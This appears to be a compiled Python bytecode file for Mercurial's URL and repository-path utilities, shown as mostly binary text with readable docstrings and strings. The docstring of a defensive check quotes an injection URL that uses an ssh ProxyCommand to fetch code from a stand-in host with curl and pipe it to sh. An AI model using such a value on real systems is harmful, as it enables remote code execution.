
    6h>z                    8   % S SK Jr  S SKrS SKrS SKrS SKJrJrJ	r	J
r
Jr  SSKJr  SSKJrJrJrJr  SSKJr  SS	KJr  SS
KJr  \\\
\/(       d   e\R4                  rS:S jr " S S\R8                  5      rS;S jrS;S jrS<S jr S=S jr!S>S jr"S>S jr#S?S jr$S r%S r&S r'S?S jr(S?S jr)S@S jr*S r+S?S jr,S?S jr- " S S \.5      r/0 r0S!\1S"'   0 r2\Rf                  4SAS# jjr4S$ r5\4" S%S&5      S' 5       r6\4" S(S)5      S* 5       r71 S+kr8\4" S,S-5      S. 5       r9S\Rt                  \Rv                  \Rx                  S/.r=\." S0 \=R}                  5        5       5      r?\4" S1S2\?R                  S39S4 5       rA\4" S5S6\5S39S7 5       rBS8 rC " S9 S\R                  5      rEg)B    )annotationsN)CallableDictOptionalTupleUnion   )_)encodingerrorpycompaturllibcompat   )
stringutil)misc)	constantsc                     [        U 5      $ ! [         a     Of = f [        R                  " [        R
                  " U 5      5      $ ! [         a#    [        R                  " [        S5      U -  5      ef = f)zReturn the port for a given network service.

If port is an integer, it's returned as is. If it's a string, it's
looked up using socket.getservbyname(). If there's no matching
service, error.Abort is raised.
s+   no port number associated with service '%s')
int
ValueErrorsocketgetservbynamer   sysstrOSErrorr   Abortr
   )ports    9/usr/lib/python3/dist-packages/mercurial/utils/urlutil.pygetportr   0   sp    4y 
##HOOD$9:: 
kk<=D
 	

s   
 
)A -A5c                      \ rS rSrSrSrSr\R                  " S5      R                  r
  S       SS jjrSS jr\R                  S 5       rS	 r\R                  " \5      rSS
 jrSS jrSS jrSS jrSrg)urlD   a  Reliable URL parser.

This parses URLs and provides attributes for the following
components:

<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>

Missing components are set to None. The only exception is
fragment, which is set to '' if present but empty.

If parsefragment is False, fragment is included in query. If
parsequery is False, query is included in path. If both are
False, both fragment and query are included in path.

See http://www.ietf.org/rfc/rfc2396.txt for more information.

Note that for backward compatibility reasons, bundle URLs do not
take host names. That means 'bundle://../' has a path of '../'.

Examples:

>>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
<url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
>>> url(b'ssh://[::1]:2200//home/joe/repo')
<url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
>>> url(b'file:///home/joe/repo')
<url scheme: 'file', path: '/home/joe/repo'>
>>> url(b'file:///c:/temp/foo/')
<url scheme: 'file', path: 'c:/temp/foo/'>
>>> url(b'bundle:foo')
<url scheme: 'bundle', path: 'foo'>
>>> url(b'bundle://../foo')
<url scheme: 'bundle', path: '../foo'>
>>> url(br'c:\foo\bar')
<url path: 'c:\\foo\\bar'>
>>> url(br'\\blah\blah\blah')
<url path: '\\\\blah\\blah\\blah'>
>>> url(br'\\blah\blah\blah#baz')
<url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
>>> url(br'file:///C:\users\me')
<url scheme: 'file', path: 'C:\\users\\me'>

Authentication credentials:

>>> url(b'ssh://joe:xyz@x/repo')
<url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
>>> url(b'ssh://joe@x/repo')
<url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>

Query strings and fragments:

>>> url(b'http://host/a?b#c')
<url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
>>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
<url scheme: 'http', host: 'host', path: 'a?b#c'>

Empty path:

>>> url(b'')
<url path: ''>
>>> url(b'#a')
<url path: '', fragment: 'a'>
>>> url(b'http://host/')
<url scheme: 'http', host: 'host', path: ''>
>>> url(b'http://host/#a')
<url scheme: 'http', host: 'host', path: '', fragment: 'a'>

Only scheme:

>>> url(b'http:')
<url scheme: 'http'>
s   !~*'()+s
   /!~*'()+:\s   ^[a-zA-Z0-9+.\-]+:c                &   S =U l         =U l        =U l        U l        S =U l        =U l        =U l        U l        SU l        SU l	        Xl
        U(       a  SU;   a  UR                  SS5      u  ol        [        U5      (       d  UR                  S5      (       a  Xl        g UR                  S5      (       a.  SU l         USS  nUR                  S	5      (       a  US
S  nXl        g U R                  U5      (       a-  UR                  SS5      nUS   (       a  Uu  U l         nSU l        U(       d  S nU R                  (       a  SU l        g GOU R                  (       a  Xl        g U(       a@  SU;   a:  UR                  SS5      u  ol        U(       d  S nU R                  (       d  S U l        U(       a  UR                  S	5      (       ao  US
S  R                  SS5      n[        U5      S:  a  Uu  U l        nOUS   U l        S nU R                  (       d#  S U l        U(       a  [        U5      (       d  SU-   nU R                  (       a  SU R                  ;   az  U R                  R!                  SS5      u  U l        U l        SU R                  ;   a)  U R                  R                  SS5      u  U l        U l        U R                  (       d  S U l        U R                  (       a  SU R                  ;   a  U R                  R                  S5      (       a   U R                  R#                  S5      (       dR  U R                  U l	        U R                  R!                  SS5      u  U l        U l        U R                  (       d  S U l        U R                  (       a?  U R                   S:X  a/  U R                  S;  a  [$        R&                  " [)        S5      5      eXl        S H2  n[+        X5      nUc  M  [-        X[.        R1                  U5      5        M4     g )NT       #r      \\   bundle:   bundle      //r	      :r   F   ?   /   @   [   ]   file)s	   localhosts	   127.0.0.1s   [::1]s(   file:// URLs can only refer to localhost)userpasswdhostr   pathfragment)schemer0   r1   r2   r   r3   queryr4   
_localpath	_hostport	_origpathsplithasdriveletter
startswith_matchschemelenrsplitendswithr   r   r
   getattrsetattrurlrequnquote)selfr3   
parsequeryparsefragmentpartsavs          r   __init__url.__init__   s<    =A@@di@$+	=AA	ADIA
T]TT\"&**T1"5D- $4??7#;#;I ??:&&#DK8Du%%ABxIT""JJtQ'EQx$)!T"'D	   	ddl#'::dA#6 jDzz!%DJ ..QRtQ/u:>&+ODIt %aDIDyy $DI N4$8$8#d{yyTTYY.'+yy'7'7a'@$	49499$-1YY__T1-E*DIt{yy $DI 		DII%II((..4993E3Ed3K3K "&'+yy'7'7a'@$	49yy $DI 		KK7*II%KKkkAB  	 HA A}!23 Hr"   c                   [        S5      nU R                  Ul        U R                  Ul        U R                  Ul        U R                  Ul        U R
                  Ul        U R                  Ul        U R                  Ul        U R                  Ul        U R                  Ul	        U R                  Ul
        U R                  Ul        U$ )Ns   temporary useless value)r   r3   r5   r0   r1   r2   r   r6   r4   r7   r8   r9   )rE   us     r   copyurl.copy   s    *+;;;;**]]
nnnnr"   c                    / nS HU  n[        X5      nUc  M  SnU[        R                  " U5      [        R                  " U5      4-  nUR                  U5        MW     SSR	                  U5      -  $ )N)r5   r0   r1   r2   r   r3   r6   r4   s   %s: %rs   <url %s>s   , )rA   r   bytestrappendjoin)rE   attrsrI   rJ   lines        r   __repr__url.__repr__  sp    	
A  A} ))!,h.>.>q.ABBT"	
 UZZ...r"   c                X   U R                   (       aF  U R                  nU R                  S:X  a  SU-   nU R                  (       a  USU R                  -   -  nU$ U R                  S-   nU R                  (       d"  U R
                  (       d  U R                  (       a  US-  nOU R                  (       ao  U R                  (       a:  U R                  R                  S5      (       d  [        U R                  5      (       a$  US-  n[        U R                  5      (       a  US-  nU R                  (       a+  U[        R                  U R                  U R                  S9-  nU R
                  (       a.  US[        R                  U R
                  U R                  S9-   -  nU R                  (       d  U R
                  (       a  US-  nU R                  (       aq  U R                  R                  S	5      (       a   U R                  R                  S
5      (       d#  U[        R                  U R                  5      -  nOXR                  -  nU R                  (       a%  US[        R                  U R                  5      -   -  nU R                  (       a  US-  nU R                  (       a+  U[        R                  U R                  U R                  S9-  nU R                  (       a  USU R                  -   -  nU R                  b.  US[        R                  U R                  U R                  S9-   -  nU$ )a  Join the URL's components back into a URL string.

Examples:

>>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
'http://user:pw@host:80/?foo=bar&baz=42'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
'http://user:pw@host:80/?foo=bar%3dbaz'
>>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
'ssh://user:pw@[::1]:2200//home/joe#'
>>> bytes(url(b'http://localhost:80//'))
'http://localhost:80//'
>>> bytes(url(b'http://localhost:80/'))
'http://localhost:80/'
>>> bytes(url(b'http://localhost:80'))
'http://localhost:80/'
>>> bytes(url(b'bundle:foo'))
'bundle:foo'
>>> bytes(url(b'bundle://../foo'))
'bundle:../foo'
>>> bytes(url(b'path'))
'path'
>>> bytes(url(b'file:///tmp/foo/bar'))
'file:///tmp/foo/bar'
>>> bytes(url(b'file:///c:/tmp/foo/bar'))
'file:///c:/tmp/foo/bar'
>>> print(url(br'bundle:foo\bar'))
bundle:foo\bar
>>> print(url(br'file:///D:\data\hg'))
file:///D:\data\hg
r&   r%   r#   r)   r(   r+   )safer,   r-   r.   r*   )r7   r3   r5   r4   r0   r1   r2   r<   r;   rC   quote
_safecharsr@   r   _safepcharsr6   )rE   ss     r   	__bytes__url.__bytes__  s+   D ??		A{{i'N}}TDMM))HKK$99tyyJA[[		yy##D))dii((JAdii((T	99diidoo>>A;;T[[tGGGA99IA99II((..4993E3Ed3K3KV\\$)),,YY99TYY///A99IA99 diid.>.>??A::

""A==$T]]9I9IJJJAr"   c                2   U R                   U R                  p! Su  U l         U l        [        U 5      nXsU l         U l        U R                   (       d  US 4$ US X0R                  4U R                   U R                  =(       d    S44$ ! XsU l         U l        f = f)N)NNr"   )r0   r1   bytesr2   )rE   r0   r1   r^   s       r   authinfourl.authinfoq  s    yy$++f	2%/"DIt{dA%)"DIt{yyt9
 D1ii.$))T[[5GCHII &*"DIt{s   B Bc                   U R                   (       a  U R                   S:w  a  g[        U R                  5      (       a  gU R                  R                  S5      (       a  gU R                  R                  S5      (       a  gg)Nr/   Tr$   r+   F)r5   r;   r3   r<   rE   s    r   isabs	url.isabs  s\    ;;4;;'1$))$$99''99%%r"   c                ^   U R                   S:X  d  U R                   S:X  a  U R                  =(       d    Sn[        U R                  5      (       a  U R                  S-   U R                  -   nU$ U R                  b&  U R                  (       a  [        U5      (       d  SU-   nU$ U R
                  $ )Nr/   r&   r+   )r5   r3   r;   r8   r2   r9   rE   r3   s     r   	localpathurl.localpath  s    ;;'!T[[I%=99$D dnn--~~,tyy8
 K 		%$))N4<P<Pd{K~~r"   c                |    U R                   (       + =(       d%    U R                   S:H  =(       d    U R                   S:H  $ )z?whether localpath will return something that posixfile can openr/   r&   )r5   rf   s    r   islocalurl.islocal  s4     O ({{g%({{i'	
r"   )r8   r7   r9   r4   r2   r1   r3   r   r6   r5   r0   N)TT)r3   rb   rF   boolrG   rp   returnNone)rq   r   )rq   zint_misc.AuthInfoTrq   rp   )rq   rb   )__name__
__module____qualname____firstlineno____doc__r\   r]   remodcompilematchr=   rK   rO   r   	strmethodrW   r_   __str__rc   rg   rk   rn   __static_attributes__ r"   r   r   r   D   s    GR J K==!78>>L
  "	h4h4 h4 	h4
 
h4T / /&N`   +GJ	
r"   r   r3   c                >    [        [        U 5      R                  5      $ N)rp   r   r5   r3   s    r   	hasschemer     s    D	  !!r"   c                j    [        U 5      =(       a"    U SS S:H  =(       a    U SS R                  5       $ )Nr   r	   r)   r   )rp   isalphar   s    r   r;   r;     s0    :C$q)t+CQq	0A0A0CCr"   c                4    [        U SSS9R                  5       $ )NF)rF   rG   )r   rk   r   s    r   urllocalpathr     s    tU;EEGGr"   c                    [         R                  U 5      n U R                  S5      (       d  U R                  S5      (       a7  [        R                  " [        S5      [        R                  " U 5      4-  5      eg)aD  check if a path / url is a potentially unsafe ssh exploit (SEC)

This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.

Raises an error.Abort when the url is unsafe.
s   ssh://-s   svn+ssh://-s   potentially unsafe url: %rN)rC   rD   r<   r   r   r
   r   rR   r   s    r   checksafesshr     sb     >>$Dz""doon&E&Ekk+,0@0@0F/HH
 	
 'Fr"   c                ^    [        U 5      n U R                  (       a  SU l        [        U 5      $ )z$hide user credential in a url strings   ***)r   r1   rb   rN   s    r   hidepasswordr     s"    AAxx8Or"   c                J    [        U 5      n S=U l        U l        [        U 5      $ )z7remove all authentication information from a url stringN)r   r0   r1   rb   r   s    r   
removeauthr     s"    AAAFQX8Or"   c                   / nUcI  [        U R                  R                  5       5       H   u  p4U H  nUR                  X545        M     M"     U$ U R                  R	                  U/ 5       H  nUR                  X45        M     U$ )z+list all the (name, paths) in the passed ui)sortedpathsitemsrS   get)uitarget_pathresultnamer   pr3   s          r   
list_pathsr     sw    F!"((.."23KDti(  4 M HHLLb1DMM;-. 2Mr"   c                :     [        U SUS9$ ! [         a     gf = f)zDtry to build a path from a url

Return None if no Path could built.
N)rawloc)r3   r   )r   r   s     r   try_pathr     s(    
BS)) s   
 
c              #  Z  #    U(       d  SUR                   ;   a)  UR                   S    H  nUR                  5       v   M     gSUR                   ;   a)  UR                   S    H  nUR                  5       v   M     g[        R                  " [	        S5      [	        S5      S9eU H  nXAR                   ;   a*  UR                   U    H  nUR                  5       v   M     M<  [        X5      nUc%  [	        S5      nXd-  n[        R                  " U5      eUR                  5       v   M     g7f)z=yields all the `path` selected as push destination by `dests`s   default-push   defaults"   default repository not configured!s   see 'hg help config.paths')hintNs   repository %s does not exist)r   get_push_variantr   ConfigErrorr
   r   	RepoError)repor   destsr   destr3   msgs          r   get_push_pathsr     s    bhh&XXo.((** /288#XXj)((** * ##7845 
 Dxx$A,,.. (  )<;<CKC//#..++-- s   D)D+c              #     #    U(       d  S/nU H>  nX1R                   ;   a  UR                   U    H  nUv   M	     M.  [        USUSS9nUv   M@     g7f)zDyields all the `(path, branch)` selected as pull source by `sources`r   NF)validate_path)r   r3   )r   r   sourcessourcer   s        r   get_pull_pathsr     sR     ,XXXXf% & RvU;AG s   AAc                   Uc  / nOU/n[        [        XU5      5      n[        U5      S:w  aP  Uc  [        S5      nU[        U5      U 4-  nO[        S5      nU[        U5      X4-  n[        R
                  " U5      eUS   $ )zreturn a unique `path` or abort if multiple are found

This is useful for command and action that does not support multiple
destination (yet).

The `action` parameter will be used for the error message.
r   9   default path points to %d urls while %s only supports one5   path points to %d urls while %s only supports one: %sr   )listr   r>   r
   r   r   )actionr   r   r   r   r   s         r   get_unique_push_pathr     s     |%01E
5zQ<LC CJ''CLMCCJ--Ckk#8Or"   c                    / nUb  UR                  U5        [        [        SXS95      n[        U5      nUS:w  a<  Uc  [	        S5      nXeU 4-  nO[	        S5      nXeX4-  n[
        R                  " U5      eUS   $ )a`  return a unique `(path, branch)` or abort if multiple are found

This is useful for command and action that does not support multiple
destination (yet).

The `action` parameter will be used for the error message.

note: Ideally, this function would be called `get_unique_pull_path` to
mirror the `get_unique_push_path`, but the name was already taken.
N)r   r   r   r   r   )rS   r   r   r>   r
   r   r   )r   r   r   r   
pull_paths
path_countr   s          r   get_unique_pull_path_objr   +  s     GvnT2?@JZJQ>LC ''CLMC//Ckk#a=r"   c                B    [        XUS9n[        UR                  U5      $ )zlreturn a unique `(url, branch)` or abort if multiple are found

See `get_unique_pull_path_obj` for details.
r   )r   parseurlr   )r   r   r   r   default_branchesr3   s         r   get_unique_pull_pathr   I  s"    
 $Fv>DDKK!122r"   c                $    US:X  a  g[        SXS9$ )?return the `(origsource, url, branch)` selected as clone sourcer"   Ns   cloner   )r   )r   r   s     r   get_clone_path_objr   R  s    }#Hb@@r"   c                    [        X5      nUc  SSSU44$ Uc  / nUR                  U4nUR                  UR                  U4$ )r   Nr"   )r   branchr   loc)r   r   r   r3   branchess        r   get_clone_pathr   Y  sT    b)D|S4!1233-.H;;(**r"   c                    [        U 5      nSnUR                  (       a  UR                  nSUl        [        U5      X1=(       d    / 44$ )z5parse url#branch, returning (url, (branch, branches))N)r   r4   rb   )r3   r   rN   r   s       r   r   r   d  s=    D	AFzz
8fn"---r"   c                      \ rS rSrSrS rSrg)r   in  zRepresents a collection of paths and their configs.

Data is initially derived from ui instances and the config files they have
loaded.
c           	        [         R                  U 5        [        R                  R	                  S5      nUR                  SSS9 GHu  u  p4U(       d  M  UR                  SU5      u  pVUR                  SU5      nX4U4nUR                  R                  X5      n	UR                  S5      n
U
b2  [        R                  " U
5      (       a  [        R                  " U5      nOU/n/ nU H  n[        R                  R                  U5      n[        R                  R	                  U5      n[        U5      (       d`  [        R                  R                  U5      (       d<  [        R                  R!                  [        R                  R#                  X5      5      n[        XXS9nUR%                  U5        M     XU'   GMx     ['        U R)                  5       5       H/  u  p?/ nU H  nUR+                  [-        XU 5      5        M      UX'   M1     g )N   ~   pathsT)	ignoresub
   multi-urls)r   
suboptions)dictrK   osr3   
expanduserconfigitemsconfigsuboptionsconfigsource_path_to_rootr   r   	parsebool	parselist
expandvarsr   rg   normpathrT   rS   r   r   extend_chain_path)rE   r   	home_pathr   value_valuesub_optsr^   root_keyroot	multi_url	base_locsr   r   r   	old_paths	new_pathss                    r   rK   paths.__init__u  s   dGG&&t,	>>(d>CKD!228TBF$/AQ'H##''<D ]3I$)=)=i)H)H&007	"G	E gg((-gg((- ~~bggmmC.@.@''**277<<+BCC#CQ ! J/ D2  &djjl3ODI  QD!9: "DJ	  4r"   r   N)rt   ru   rv   rw   rx   rK   r~   r   r"   r   r   r   n  s    "#r"   r   z!Dict[bytes, Tuple[str, Callable]]_pathsuboptionsc                `   ^ ^^ [        T[        5      (       a  Sn[        U5      eUUU 4S jnU$ )aj  Decorator used to declare a path sub-option.

Arguments are the sub-option name and the attribute it should set on
``path`` instances.

The decorated function will receive as arguments a ``ui`` instance,
``path`` instance, and the string value of this option from the config.
The function should return the value that will be set on the ``path``
instance.

The optional `display` argument is a function that can be used to format
the value when displayed to the user (like in `hg paths` for example).

This decorator can be used to perform additional verification of
sub-options and to change the type of sub-options.
s8   pathsuboption take `str` as "attr" argument, not `bytes`c                0   > TU 4[         T'   T[        T'   U $ r   )r   path_suboptions_display)funcattrdisplayoptions    r   registerpathsuboption.<locals>.register  s!    #',*1'r"   )
isinstancerb   	TypeError)r   r   r   r   r   s   ```  r   pathsuboptionr     s-    " $In
 Or"   c                    U (       a  S$ S$ )z,display a boolean suboption back to the users   yess   nor   )r   s    r   display_boolr     s    6%%r"   s   pushurl_pushlocc                (   [        U5      nUR                  (       d-  [        S5      nXAR                  U4-  nU R	                  U5        g UR
                  (       a.  U R	                  [        S5      UR                  -  5        S Ul        [        U5      $ )Ns-   (paths.%s:pushurl not a URL; ignoring: "%s")
s:   ("#fragment" in paths.%s:pushurl not supported; ignoring)
)r   r5   r
   r   warnr4   rb   )r   r3   r   rN   r   s        r   pushurlpathoptionr     s~    E
A88AB		5!!
 	zz
 ii		
 
8Or"   s   pushrevpushrevc                    U$ r   r   )r   r3   r   s      r   pushrevpathoptionr     s    Lr"   >      ignore   mirrorr   s   bookmarks.modebookmarks_modec                    U[         ;  a3  UR                  nUc  Sn[        S5      nXCU4-  nU R                  U5        US:X  a  S nU$ )N   *s2   (paths.%s:bookmarks.mode has unknown value: "%s")
r   )SUPPORTED_BOOKMARKS_MODESr   r
   r   r   r3   r   	path_namer   s        r   bookmarks_mode_optionr    sT    --II	IFG5!!

Lr"   )r   s   try-bases   no-reuses   forcedc              #  0   #    U  H  oS S S2   v   M     g 7f)Nr   ).0is     r   	<genexpr>r    s      O2NQ4R42Ns   s   pulled-delta-reuse-policydelta_reuse_policy)r   c                    U[         ;  a3  UR                  nUc  Sn[        S5      nXCU4-  nU R                  U5        [         R	                  U5      $ )Nr   s=   (paths.%s:pulled-delta-reuse-policy has unknown value: "%s")
)DELTA_REUSE_POLICIESr   r
   r   r   r   s        r   r  r    sY     ((II	IM
 	5!!
##E**r"   r   
multi_urlsc                    [         R                  " U5      nUc)  U R                  [        S5      UR                  -  5        SnU$ )Ns.   (paths.%s:multi-urls not a boolean; ignoring)
F)r   r   r   r
   r   )r   r3   r   ress       r   multiurls_pathoptionr    sA    


u
%C
{
@ADIIM	
 Jr"   c                   / nU R                   R                  S:w  a  UR                  U 5        U$ U R                   R                  b   eUR	                  U R                   R
                  5      nUcE  [        S5      nXPR                  U R                   R
                  4-  n[        R                  " U5      eU GHP  nU R                  5       nUR                  R                  S:X  aE  [        S5      nXWR                  UR                   R
                  4-  n[        R                  " U5      eUR                   Ul         UR                  Ul        UR                  Ul        UR                  c  UR                  Ul        O4UR                  R                  SS5      S   nSXR                  4-  Ul        UR                  R                  5       n	U	R!                  UR"                  5        UR%                  X5        UR                  U5        GMS     U$ )z<return the result of "path://" logic applied on a given paths   paths)   cannot use `%s`, "%s" is not a known paths4   cannot use `%s`, "%s" is also defined as a `path://`r#   r   r   s   %s#%s)r   r5   rS   r3   r   r2   r
   r   r   r   rO   raw_urlr   r   r?   _all_sub_optsupdate_own_sub_opts_apply_suboptions)
	base_pathr   r   r   	sub_pathsmsubpathr3   baser   s
             r   r   r     s   I}}w&#4 1 }}!!)))IIimm001	>?A""IMM$6$677A++a.  G>>#D%%0MNkk488==11kk!n${{DH!..DK{{DH{{"%nn{{))$215&$)<< ..335Jd001""22T"# !$ r"   c                      \ rS rSrSr     SS jrS rSSS jjr\SS j5       r	SS jr
S	 rS
 rS r\SS j5       rSrg)r3   i=  z4Represents an individual path and its configuration.Nc                   Uc  Ub   eUb   eUb   egU(       d  [        S5      eX l        SU l        U R                  U5        U(       a  U R	                  5         UR                  SS5      u  pg0 U l        Ub&  UR                  5       U l        UR                  U5        UR                  5       U l	        U R                  X5        g)a  Construct a path from its config options.

``ui`` is the ``ui`` instance the path is coming from.
``name`` is the symbolic name of the path.
``rawloc`` is the raw location, as defined in the config.
``_pushloc`` is the raw locations pushes should be made to.
             (see the `get_push_variant` method)

If ``name`` is not defined, we require that the location be a) a local
filesystem path with a .hg directory or b) a URL. If not,
``ValueError`` is raised.
Ns   rawloc must be definedr   r   )r   r   	main_path
_setup_url_validate_pathr   r  rO   r  r  r  )rE   r   r   r   r   r   _pathr   s           r   rK   path.__init__@  s    ( :<<>!>%%%677	 !--h=!!+!2DOOJ'%]]_r,r"   c                    [        U5      nS nUR                  (       a  UR                  nS Ul        X l         UR                  5       U l        X0l        Xl        SU-  U l        g )Ns   %s)r   r4   rO   r  r   r   r   )rE   r   rN   r   s       r   r  path._setup_urlp  sN    K::ZZFAJvvx19r"   c                    U R                  5       nU R                  R                  5        H*  u  p4[        USS5      nUb  U" 5       nXBR                  U'   M,     Ub  UR	                  U5        U$ )zmake a copy of this path object

When `new_raw_location` is set, the new path will point to it.
This is used by the scheme extension so expand the scheme.
rO   N)	__class____dict__r   rA   r  )rE   new_raw_locationnewkrJ   new_copys         r   rO   	path.copy  si     nnMM'')DAq&$/H#JLLO	 *
 'NN+,
r"   c                    U R                   SL$ )z-is this a path variant to be used for pushingN)r  rf   s    r   is_push_variantpath.is_push_variant  s     ~~T))r"   c                    U R                   (       a  U $ U R                  5       nXl         U R                  (       a  UR                  U R                  5        U$ )zget a "copy" of the path, but suitable for pushing

This means using the value of the `pushurl` option (if any) as the url.

The original path is available in the `main_path` attribute.
)r  rO   r   r  )rE   r'  s     r   r   path.get_push_variant  s<     >>Kiik==NN4==)
r"   c                    U R                   (       dU  U R                  R                  (       d9  U R                  U R                  5      (       d  [        SU R                  -  5      eg g g )Ns1   location is not a URL or path to a local repo: %s)r   r   r5   _isvalidlocalpathr   r   r   rf   s    r   r  path._validate_path  sX     		HHOO**48844"kk*  5 $ r"   c                    [         R                  5        H2  u  nu  pEX2;  a  [        XS 5        M  U" XX#   5      n[        XU5        M4     g r   )r   r   rB   )rE   r   sub_options	suboptionr   r   r   s          r   r  path._apply_suboptions  sJ     (7'<'<'>#I|+D);#9:ED& (?r"   c                     [         R                  R                  [         R                  R                  US5      5      $ ! [        [
        4 a     gf = f)zReturns True if the given path is a potentially valid repository.
This is its own function so that extensions can change the definition of
'valid' in this case (like when pulling from a git repo into a hg
one).s   .hgF)r   r3   isdirrT   r   r   rj   s     r   r1  path._isvalidlocalpath  s@    
	77==dF!;<<:& 		s   <? AAc                r    0 n[         R                  5        H  u  nu  p4[        X5      nUc  M  XQU'   M     U$ )zkReturn sub-options and their values for this path.

This is intended to be used for presentation purposes.
)r   r   rA   )rE   dsuboptr   _funcr   s         r   r   path.suboptions  sA     %4%:%:%<!FMTD'E !&	 &= r"   )	r  r  r   r   r  r   r  r   r   )NNNNTr   )r&  zOptional[bytes]rq   r3   rs   )rq   r3   )rq   zDict[bytes, bytes])rt   ru   rv   rw   rx   rK   r  rO   propertyr,  r   r  r  r1  r   r~   r   r"   r   r3   r3   =  sb    > .-`   * *
'	 
 
r"   )r   zUnion[bytes, int]rq   r   )r3   rb   rq   rp   )r3   rb   rq   rb   )r3   rb   rq   rr   )rN   rb   rq   rb   r   )Nr   )r   rb   r   str)F
__future__r   r   rery   r   typingr   r   r   r   r   i18nr
    r   r   r   r   r   
interfacesr   int_miscrevlogutilsr   revlog_constantsrC   r   IUrlr   r   r;   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   __annotations__r   rR   r   r   r   r   r   r  DELTA_BASE_REUSE_TRYDELTA_BASE_REUSE_NODELTA_BASE_REUSE_FORCEr
  r   DELTA_REUSE_POLICIES_NAMEr   r  r  r   IPathr3   r   r"   r   <module>rQ     s   # 	     
 	$u% %%			
([
(-- [
|
"DH
"	.8
4<3A+.)#D )#X 682 7  5=4D4D :&
 z:& '0 z9% &   "23 4 !66!5566	  ! O2F2L2L2N OO   %))
+
+ }lLA BBV8>> Vr"   